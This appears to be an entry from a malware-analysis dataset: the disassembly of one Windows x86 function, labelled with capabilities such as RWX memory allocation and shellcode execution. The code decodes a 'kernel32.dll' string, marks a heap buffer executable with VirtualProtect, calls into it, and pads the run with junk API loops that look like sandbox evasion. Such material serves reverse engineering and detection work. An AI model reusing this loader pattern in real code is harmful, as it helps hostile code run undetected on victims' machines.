Function at 0x41c9c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x87c
mov eax, dword [0x42b1a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x4fae20
push edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41c9e0
sub eax, edx
cmp eax, 0x4cad2
jne 0x41ca1b
push 0x4fae20
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 0x31295
jne 0x41ca1b
cmp dword [0x45c0ff4], 0xa28
jne 0x41ca1b
lea eax, [ebp - 0x878]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
mov edi, dword [sym.imp.KERNEL32.DLL_GetACP]
mov ebx, dword [sym.imp.KERNEL32.DLL__hread]
xor esi, esi
lea esp, [esp]
call edi
cmp dword [0x45c0ff4], 0xfe5
jne 0x41ca46
push 0
push 0
push 0
call ebx
cmp dword [0x45c0ff4], 0xc89
jne 0x41ca5c
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_SetMessageWaitingIndicator]
cmp esi, 0x744649
jle 0x41ca7c
cmp dword [ebp - 0x810], 0x79463ce
je 0x41ca7c
cmp dword [ebp - 0x81c], 0x4fa77696
jne 0x41ca85
inc esi
cmp esi, 0x3a47128
jl 0x41ca30
mov eax, dword [0x42c43c]
mov edi, dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameA]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
mov dword [0x45c0ff4], eax
xor esi, esi
lea ecx, [ecx]
cmp eax, 0x4d2
jne 0x41cac0
lea ecx, [ebp - 0x810]
push ecx
push 0
lea edx, [ebp - 0x408]
push edx
push 0
call edi
mov eax, dword [0x45c0ff4]
cmp esi, 0x470c56
jne 0x41cad2
add eax, 0xf0575
mov dword [0x45c0ff4], eax
cmp eax, 0x6ee
jne 0x41cae9
push 0
lea eax, [ebp - 0x808]
push eax
call ebx
mov eax, dword [0x45c0ff4]
inc esi
cmp esi, 0x51c994
jl 0x41caa0
mov edi, dword [sym.imp.KERNEL32.DLL_LocalAlloc]
xor ebx, ebx
xor esi, esi
lea esp, [esp]
cmp esi, 0x38d0e8
jne 0x41cb16
push eax
push ebx
call edi
mov dword [0x45c0c5c], eax
mov eax, dword [0x45c0ff4]
cmp eax, 0x5b0
jne 0x41cb27
mov dword [0x45c0c48], 0x868fee8a
inc esi
cmp esi, 0x532885
jl 0x41cb00
mov ecx, dword [0x42c088]
xor esi, esi
mov dword [0x45d5c70], ecx
cmp eax, ebx
jbe 0x41cbd6
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
jmp 0x41cb52
xor ebx, ebx
mov dword [0x45c0fe0], ebx
mov dword [0x45c0fe4], ebx
cmp eax, 0xcce
jne 0x41cb73
lea edx, [ebp - 0x814]
push edx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetBinaryTypeA]
mov dword [ebp - 0x810], ebx
mov eax, 0xf0575
mov ebx, dword [0x45d5c70]
add dword [ebp - 0x810], eax
add dword [ebp - 0x810], ebx
mov eax, dword [ebp - 0x810]
mov cl, byte [eax + esi]
mov edx, dword [0x45c0c5c]
mov byte [edx + esi], cl
cmp esi, 4
jne 0x41cbc8
push str.kigsel32.dll
push 0x4fae20
call edi
mov byte [0x4fae21], 0x65
mov byte [0x4fae22], 0x72
mov byte [0x4fae23], 0x6e
mov eax, dword [0x45c0ff4]
inc esi
cmp esi, eax
jb 0x41cb50
push 0x4fae20
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov ecx, dword [0x45c0ff4]
mov edx, dword [0x45c0c5c]
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov dword [0x45c0fec], eax
lea eax, [ebp - 0x80c]
push eax
push 0x40
push ecx
push edx
call ebx
mov eax, dword [0x45c0ff4]
mov esi, dword [0x45c0c5c]
mov edi, eax
cmp eax, 0x7a3
jne 0x41cc33
push 0
lea eax, [ebp - 0x814]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_WriteConsoleW]
mov eax, dword [0x45c0ff4]
mov ecx, dword [0x42c090]
mov dword [0x45c0c4c], ecx
cmp eax, 0x21c
jne 0x41cc4e
push 0
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call fcn.0041c8c0
add dword [0x45c0c5c], 0
xor esi, esi
mov edi, 0xa14
cmp dword [0x45c0ff4], edi
jne 0x41cc76
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x87f75f
jne 0x41cc84
call dword [0x45c0c5c]
mov edx, dword [0x45c0c64]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc esi
cmp esi, 0x8afeee
jl 0x41cc64
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040490e
mov esp, ebp
pop ebp
ret